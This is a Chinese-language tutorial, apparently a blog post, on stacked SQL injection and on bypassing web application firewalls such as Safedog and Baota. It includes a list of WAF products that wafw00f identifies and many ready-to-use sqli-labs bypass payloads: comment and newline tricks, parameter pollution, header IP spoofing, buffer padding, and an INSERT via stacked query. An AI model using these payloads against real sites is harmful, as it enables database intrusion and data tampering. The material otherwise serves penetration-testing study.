WEB漏洞-SQL注入之堆叠及WAF绕过注入
在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解
堆叠查询注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。
-
原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
-
局限性:堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
市面上常见的waf产品列表分析 wafw00f
现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。
- WAFW00F 怎么工作
- 发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。
- 如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。
- 如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击
- 它可以检测很多 WAF。想要查看它能检测哪些 WAF,以
-l
参数执行 WAFW00F
WAF Name | Manufactruer |
---|---|
ACE XML Gateway | Cisco |
aeSecure | aeSecure |
AireeCDN | Airee |
Airlock | Phion/Ergon |
Alert Logic | Alert Logic |
AliYunDun | Alibaba Cloud Computing |
Anquanbao | Anquanbao |
AnYu | AnYu Technologies |
Approach | Approach |
AppWall | Radware |
Armor Defense | Armor |
ArvanCloud | ArvanCloud |
ASP.NET Generic | Microsoft |
ASPA Firewall | ASPA Engineering Co. |
Astra | Czar Securities |
AWS Elastic Load Balancer | Amazon |
AzionCDN | AzionCDN |
Azure Front Door | Microsoft |
Barikode | Ethic Ninja |
Barracuda | Barracuda Networks |
Bekchy | Faydata Technologies Inc. |
Beluga CDN | Beluga |
BIG-IP Local Traffic Manager | F5 Networks |
BinarySec | BinarySec |
BitNinja | BitNinja |
BlockDoS | BlockDoS |
Bluedon | Bluedon IST |
BulletProof Security Pro | AITpro Security |
CacheWall | Varnish |
CacheFly CDN | CacheFly |
Comodo cWatch | Comodo CyberSecurity |
CdnNS Application Gateway | CdnNs/WdidcNet |
ChinaCache Load Balancer | ChinaCache |
Chuang Yu Shield | Yunaq |
Cloudbric | Penta Security |
Cloudflare | Cloudflare Inc. |
Cloudfloor | Cloudfloor DNS |
Cloudfront | Amazon |
CrawlProtect | Jean-Denis Brun |
DataPower | IBM |
DenyALL | Rohde & Schwarz CyberSecurity |
Distil | Distil Networks |
DOSarrest | DOSarrest Internet Security |
DotDefender | Applicure Technologies |
DynamicWeb Injection Check | DynamicWeb |
Edgecast | Verizon Digital Media |
Eisoo Cloud Firewall | Eisoo |
Expression Engine | EllisLab |
BIG-IP AppSec Manager | F5 Networks |
BIG-IP AP Manager | F5 Networks |
Fastly | Fastly CDN |
FirePass | F5 Networks |
FortiWeb | Fortinet |
GoDaddy Website Protection | GoDaddy |
Greywizard | Grey Wizard |
Huawei Cloud Firewall | Huawei |
HyperGuard | Art of Defense |
Imunify360 | CloudLinux |
Incapsula | Imperva Inc. |
IndusGuard | Indusface |
Instart DX | Instart Logic |
ISA Server | Microsoft |
Janusec Application Gateway | Janusec |
Jiasule | Jiasule |
Kona SiteDefender | Akamai |
KS-WAF | KnownSec |
KeyCDN | KeyCDN |
LimeLight CDN | LimeLight |
LiteSpeed | LiteSpeed Technologies |
Open-Resty Lua Nginx | FLOSS |
Oracle Cloud | Oracle |
Malcare | Inactiv |
MaxCDN | MaxCDN |
Mission Control Shield | Mission Control |
ModSecurity | SpiderLabs |
NAXSI | NBS Systems |
Nemesida | PentestIt |
NevisProxy | AdNovum |
NetContinuum | Barracuda Networks |
NetScaler AppFirewall | Citrix Systems |
Newdefend | NewDefend |
NexusGuard Firewall | NexusGuard |
NinjaFirewall | NinTechNet |
NullDDoS Protection | NullDDoS |
NSFocus | NSFocus Global Inc. |
OnMessage Shield | BlackBaud |
Palo Alto Next Gen Firewall | Palo Alto Networks |
PerimeterX | PerimeterX |
PentaWAF | Global Network Services |
pkSecurity IDS | pkSec |
PT Application Firewall | Positive Technologies |
PowerCDN | PowerCDN |
Profense | ArmorLogic |
Puhui | Puhui |
Qcloud | Tencent Cloud |
Qiniu | Qiniu CDN |
Reblaze | Reblaze |
RSFirewall | RSJoomla! |
RequestValidationMode | Microsoft |
Sabre Firewall | Sabre |
Safe3 Web Firewall | Safe3 |
Safedog | SafeDog |
Safeline | Chaitin Tech. |
SecKing | SecKing |
eEye SecureIIS | BeyondTrust |
SecuPress WP Security | SecuPress |
SecureSphere | Imperva Inc. |
Secure Entry | United Security Providers |
SEnginx | Neusoft |
ServerDefender VP | Port80 Software |
Shield Security | One Dollar Plugin |
Shadow Daemon | Zecure |
SiteGround | SiteGround |
SiteGuard | Sakura Inc. |
Sitelock | TrueShield |
SonicWall | Dell |
UTM Web Protection | Sophos |
Squarespace | Squarespace |
SquidProxy IDS | SquidProxy |
StackPath | StackPath |
Sucuri CloudProxy | Sucuri Inc. |
Tencent Cloud Firewall | Tencent Technologies |
Teros | Citrix Systems |
Trafficshield | F5 Networks |
TransIP Web Firewall | TransIP |
URLMaster SecurityCheck | iFinity/DotNetNuke |
URLScan | Microsoft |
UEWaf | UCloud |
Varnish | OWASP |
Viettel | Cloudrity |
VirusDie | VirusDie LLC |
Wallarm | Wallarm Inc. |
WatchGuard | WatchGuard Technologies |
WebARX | WebARX Security Solutions |
WebKnight | AQTRONIX |
WebLand | WebLand |
wpmudev WAF | Incsub |
RayWAF | WebRay Solutions |
WebSEAL | IBM |
WebTotem | WebTotem |
West263 CDN | West263CDN |
Wordfence | Defiant |
WP Cerber Security | Cerber Tech |
WTS-WAF | WTS |
360WangZhanBao | 360 Technologies |
XLabs Security WAF | XLabs |
Xuanwudun | Xuanwudun |
Yundun | Yundun |
Yunsuo | Yunsuo |
Yunjiasu | Baidu Cloud Computing |
YXLink | YxLink Technologies |
Zenedge | Zenedge |
ZScaler | Accenture |
SQLiLABS bypass sqlinject payload
部分绕过waf注入语句
id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
WAF及绕过思路
WAF
- Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
- 首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。
如图,就是自带的阿里云盾
宝塔一键化搭建(大部分非法网站都是使用的宝塔)
安全狗(用的比较多,是因为是免费的)
- 不开启全部是因为有些页面会出现误报
WAF绕过-应用层
大小写/关键字替换
- id=1UnIoN/**/SeLeCT1,user()
- Hex() bin() 等价于 ascii()
- Sleep() 等价于 benchmark()
- Mid() substring() 等价于substr()
- @@user 等价于 User()
- @@Version 等价于 version()
各种编码
大小写,URL,hex,%0A等
注释使用
//----+#//+:%00/!/等
再次循环
union==uunionnion
等价替换
user()=@@user()and=&or=|ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
- s->%73->%25%37%33
- hex,unlcode,base64等
更改请求提交方式
- GET POST COOKIE等
- POST->multipart/form-data
中间件HPP(HTTP参数污染)
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
- 原理:浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:
http://www.baidu.com?name=aa&name=bb
,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa
。有的服务器是取第二个参数,也就是name=bb
。有的服务器两个参数都取,也就是name=aa,bb
。这种特性在绕过一些服务器端的逻辑判断时,非常有用。 - HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择
- 通过HPP接管账户,当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。
- HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:
http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1
HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,以参数color=red&color=blue为例
WAF绕过-数据库特性
mysql注释符有三种
#
,/.../
,--...
(注意--
后面有一个空格,或者为--+
)
空格符
0x09
,0x0a
-0x0d
,0x20
,0xa0
特殊符号:%a换行符
- 可结合注释符使用
%23%0a
,%2d%2d%0a
内联注释
/!UnIon12345SelEcT/1,user()
,数字范围1000-50540
mysql黑魔法
select{xusername}from{x11test.admin};
WAF绕过-逻辑层
逻辑问题
- 云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
- 当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
- HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
- 特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:
id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
性能问题
- 猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
- 猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。
例子1:
?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
0xA*1000
指0xA
后面A
重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。
例子2:
?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata
- 获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。
白名单
- 方式一:IP白名单
- 从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。测试方法:修改http的header来bypasswaf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
- 方式二:静态资源
- 特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
Aspx/php
只识别到前面的.aspx/.php
后面基本不识别
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
- 方式三:url白名单
- 为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势
演示案例
Sqlilabs-Less38-堆叠注入(多语句)
在执行select时的sql语句为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
可以直接构造如下的payload:
http://192.168.50.10:83/sql/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
再通过网页查看
id=38
的结果
http://192.168.50.10:83/sql/Less-38/index.php?id=38
WAF部署-安全狗,宝塔等waf搭建部署
- 以已经安装waf的sqlli-labs less2为例
- 直接输入payload会被拦截,无法注入
- 使用post提交方式即可绕过(前提条件是源码支持该提交方式)
- 页面显示不正常,是因为有些代码只支持特定的提交方式,比如该关是使用get提交方式,思路是对的,但是在本关是无法成功的
- 将本关源码get接收参数改为post,在判断回显位时可以正常注入
- 在进行回显位查询信息时,出现报错,是因为出现了过滤词database,是因为安全狗里面的漏洞防护规则里打开了防止查询数据库相关信息的规则
- 将该规则关闭之后可以正常注入
- 正常waf是开着的,所以针对拦截数据,我们可以针对数据进行相关的编译
- 将源码改为只允许GET
- 进行尝试,发现union不被拦截,select也不被拦截。而union select被拦截,说明是 union select关键词的问题。
- 原因是开启了拦截联合查询的规则
- 利用注释和特殊字符绕过
- 使用
%23
是#
,%0A
代表的是一个换行符\n
- 原理
#
是为了闭合a
,使用%0A
换行是为了将union
和select
连接起来。如果不换行的话union
后面的#
会将union
后面所有的语句注释掉
- 参数污染
- 原理
/** */
注释语句没有执行
简要讲解安全狗,宝塔等防护waf策略规则
简要演示安全狗 bypass sqlinject 防护规则
#访问时的url
id=1/**&id=-1%20union%20select%201,2,3%23*/
#当前执行语句:
select * from users where id=-1 union select 1,2,3#*/
#安全狗匹配的时候匹配的是
1/**-1 union select 1,2,3#*/
#或者
1/**&id-1%20union%20select%201,2,3%23*/
其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致的真实数据是
-1 union select 1,2,3#*/
0 条评论